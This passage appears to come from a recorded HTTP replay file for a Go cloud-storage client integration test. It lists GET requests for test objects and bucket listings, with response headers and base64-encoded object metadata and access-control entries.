JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmovd2l0aC9zbGFzaGVzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai93aXRoL3NsYXNoZXMvMTU1NjgzNTg0NTUxMTAxOC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqJTJGd2l0aCUyRnNsYXNoZXMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmovd2l0aC9zbGFzaGVzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoib2VvK0ZBPT0iLCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9" - } - }, - { - "ID": "3793882b91d38a07", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj1?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3150" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:06 GMT" - ], - "Etag": [ - "CLnS+bvx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpzUH_BRjU20OGbDAW2dy0lx9Gk_1Ko7zks6KG6OEpq0pBPfCIBjkCeIZTxKxtvxnOd1hqlZF7SlbNoyNUqX5UFXpZY5NjP5GTeUkm512vaBR5vnDI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxIiwibmFtZSI6Im9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajE/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ0NjQ3MjI1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQ1Q2ZFRBPT0iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9" - } - }, - { - "ID": "39924c2826bcd33f", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj2?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3150" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:06 GMT" - ], - "Etag": [ - "CJ2Xkrzx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrgOr-dpWoY-JJi6vRigJX3Mpi_WQ4zWvWKK382DCP-mzWSnrpbaOzijhTCdNz6pmXskVVs30APwlqZgvb-S6xAwXqKJG5n6832Py4UlTdDR_INTew" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyIiwibmFtZSI6Im9iajIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS4wNDhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuMDQ4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjA0OFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiQ0Mxd2x3ck1PSXEwZHZNa015bFVoZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajI/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ1MDQ5MjQ1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoialY1QVZRPT0iLCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9" - } - }, - { - "ID": "89ea9ab5e21a635e", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026pageToken=\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "9705" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:06 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:06 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqj9dj5PbUhIU3baBv98vMViDP-BnVPs0APrFYL4jSbKc7fK6eAGoyDfsccGzxK-t0lGvozizW4ltrga8DXo_oxlZ9-k5a85v9i0PWTFIisPC7xuL8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai93aXRoL3NsYXNoZXMvMTU1NjgzNTg0NTUxMTAxOCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzIiwibmFtZSI6Im9iai93aXRoL3NsYXNoZXMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS41MTBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuNTEwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjUxMFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoidWV6L2hKNndBcmVEUW5jY0RVZHhmZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzP2dlbmVyYXRpb249MTU1NjgzNTg0NTUxMTAxOCZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqJTJGd2l0aCUyRnNsYXNoZXMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1M